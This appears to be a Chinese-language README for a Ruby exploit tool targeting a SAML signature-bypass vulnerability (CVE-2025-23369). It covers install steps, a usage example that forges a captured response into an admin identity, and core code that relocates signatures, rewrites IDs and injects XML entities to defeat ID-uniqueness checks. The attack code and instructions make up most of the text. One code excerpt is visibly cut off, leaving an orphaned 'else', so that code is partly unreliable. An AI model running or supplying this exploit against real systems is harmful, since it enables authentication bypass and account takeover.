SAML响应签名绕过与XML注入漏洞利用工具

1 阅读5分钟

SAML响应签名绕过与XML注入漏洞利用工具

本项目提供了一个针对SAML(安全断言标记语言)协议实现中存在的签名验证绕过漏洞(CVE-2025-23369)的Ruby利用工具。该工具通过精妙的XML解析操作和实体注入技术,能够在保持原有签名有效性的前提下修改SAML断言中的用户身份信息,从而实现身份伪造和权限提升。

功能特性

  • SAML响应解析与重构:自动解析Base64编码的SAML响应XML文档,保留原始结构完整性
  • 签名智能处理:识别响应级和断言级签名,通过复制和重定位签名节点,使修改后的断言仍能通过签名验证
  • XML实体注入:利用libxml2解析器的特殊行为,通过实体扩展技术在响应中注入自定义内容
  • 身份篡改:精确修改SAML断言中的NameID节点,将原始用户标识替换为目标用户标识
  • ID重写机制:通过ID属性修改和实体引用替换,绕过基于ID唯一性的安全检查
  • 自动化处理:命令行工具设计,接受响应文件和目标NameID作为参数,输出可直接使用的修改后响应

安装指南

系统要求

  • Ruby 2.5.0 或更高版本
  • 以下Ruby gem依赖项:
    • base64(标准库)
    • cgi(标准库)
    • nokogiri(需单独安装)

安装步骤

  1. 克隆项目仓库:
git clone https://github.com/your-repo/saml-signature-bypass.git
cd saml-signature-bypass
  1. 安装所需依赖:
gem install nokogiri

或使用Bundler管理:

# 创建Gemfile
echo "gem 'nokogiri'" > Gemfile
bundle install
  1. 确认Ruby环境正确:
ruby --version
# 应输出 2.5.0 或更高版本

使用说明

基础用法

ruby exploit.rb <response_file> <target_NameID>
  • response_file:包含Base64编码SAML响应的文件路径
  • target_NameID:目标用户的标识符,用于替换原始断言中的NameID

示例场景

假设您已捕获到一个SAML响应(response.txt),内容为Base64编码的SAML断言数据,您希望将响应中的用户身份替换为admin@target.com

ruby exploit.rb response.txt admin@target.com

程序将输出经过修改和重新编码的SAML响应字符串(已进行URL编码),可以直接用于后续的SAML认证流程测试。

详细操作流程

  1. 准备响应文件:将目标SAML响应(Base64格式)保存到文本文件中
  2. 确定目标身份:明确您希望伪造的目标用户NameID
  3. 执行利用脚本:使用上述命令行格式运行脚本
  4. 获取修改后响应:脚本输出经过URL编码的修改后Base64响应
  5. 使用修改后响应:将该响应提交到目标SAML服务端点进行验证

工具工作流程

  1. 读取并解码Base64格式的SAML响应
  2. 解析XML文档,定位Response节点和Assertion节点
  3. 从响应中移除所有签名节点
  4. 定位断言对应的签名节点
  5. 将断言签名复制到响应级别,并在其中嵌入原始断言副本
  6. 修改断言ID(添加后缀)并移除断言内的签名节点
  7. 将响应ID修改为idViaEntity
  8. 修改嵌入的断言ID为BypassIDUniqness加原始ID
  9. 替换NameID节点的内容为目标用户标识
  10. 通过实体注入技术序列化XML,绕过ID唯一性检查
  11. 重新进行Base64编码和URL编码后输出

核心代码

主程序入口与参数处理

require 'base64'
require 'cgi'
require 'nokogiri'

if ARGV.length != 2
  puts "Usage: ruby exploit.rb <response_file> <target_NameID>"
  exit 1
end

target = ARGV[1]
encoded_response = File.read(ARGV[0]).strip
decoded_response = Base64.decode64(CGI.unescape(encoded_response))

代码首先加载必要的库(Base64编码解码、CGI URL编解码、Nokogiri XML解析),然后检查命令行参数数量是否正确。用户需提供响应文件路径和目标NameID两个参数,否则程序会提示正确的使用方式并退出。

XML解析与签名节点定位

xml_doc = Nokogiri::XML(decoded_response) do |config|
    config.default_xml.noblanks
end

response_node = xml_doc.at_xpath('//*[local-name()="Response"]')
assertion_node = xml_doc.at_xpath('//*[local-name()="Assertion"]')
signature_nodes = xml_doc.xpath('//*[local-name()="Signature"]')

使用Nokogiri解析XML文档,配置为不保留空白节点以简化处理。通过XPath表达式定位Response节点、Assertion节点以及所有Signature签名节点。使用local-name()函数忽略命名空间前缀,确保能够匹配各种SAML实现中的节点。

签名移除与复制重定位

signature_nodes.each do |sig|
  referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
  if referenced_id == response_node['ID']
    sig.remove
  end
end

assertion_signature = signature_nodes.find do |sig|
  referenced_id = sig.at_xpath(".//*[local-name()=\"Reference\"]/@URI")&.value&.delete('#')
  referenced_id == assertion_node['ID']
end

if assertion_signature
  unless assertion_signature.parent == response_node
    response_signature = assertion_signature.dup

    


    else
      response_node.add_child(response_signature)
    end
    # 创建Object节点并嵌入断言副本...
  end
end

首先移除引用Response节点ID的所有签名,避免后续验证冲突。然后查找引用Assertion节点ID的签名,将其复制一份(不是移动),在响应级别重新插入签名节点,并在其中创建Object节点来包裹原始断言的副本。这样既保留了原始签名,又让签名作用于修改后的响应结构。

断言修改与实体注入

assertion_id = assertion_node['ID']
assertion_node['ID'] = assertion_node['ID'] + 'ffff'
assertion_signature = assertion_node.at_xpath('./*[local-name()="Signature"]')
assertion_signature&.remove

response_node['ID'] = "idViaEntity"

if response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
    object_assertion = response_node.at_xpath('./*[local-name()="Signature"]/*[local-name()="Object"]/*[local-name()="Assertion"]')
    object_assertion['ID'] = 'BypassIDUniqness' + object_assertion['ID']
end

name_id_node = assertion_node.at_xpath('.//*[local-name()="NameID"]')
name_id_node.content = target if name_id_node

修改原始断言的ID(添加ffff后缀)并移除其内部的签名节点,避免签名验证失败。将响应ID设置为idViaEntity,同时修改嵌入断言副本的ID为BypassIDUniqness加上原始ID。最后定位并修改NameID节点的内容为目标用户标识,完成身份替换。

序列化与输出编码

mutated = xml_doc.to_xml(indent: 0, save_with: 0).gsub(/idViaEntity|BypassIDUniqness/, &Proc.new {"&#{_1};"}).sub('<?xml version="1.0" encoding="UTF-8"?>'){'%s<!DOCTYPE abcd [ <!ENTITY idViaEntity "%s"> <!ENTITY BypassIDUniqness "&#x41;"> ]>' % [_1, assertion_id]}
modified_response = Base64.strict_encode64(mutated)
puts CGI.escape(modified_response)

此为核心序列化与注入过程。使用to_xml序列化修改后的XML文档,然后通过正则替换将idViaEntityBypassIDUniqness替换为实体引用形式&#idViaEntity;&#BypassIDUniqness;。同时注入DOCTYPE声明,定义这两个实体,其中BypassIDUniqness实体被定义为字符A。这种注入方式利用libxml2的解析特性,使得实体引用在解析时会被扩展,从而绕过ID唯一性检查。最后进行Base64和URL编码,输出可直接使用的修改后响应。 6HFtX5dABrKlqXeO5PUv/27hMz2gBbBGVQixcbDsfjI=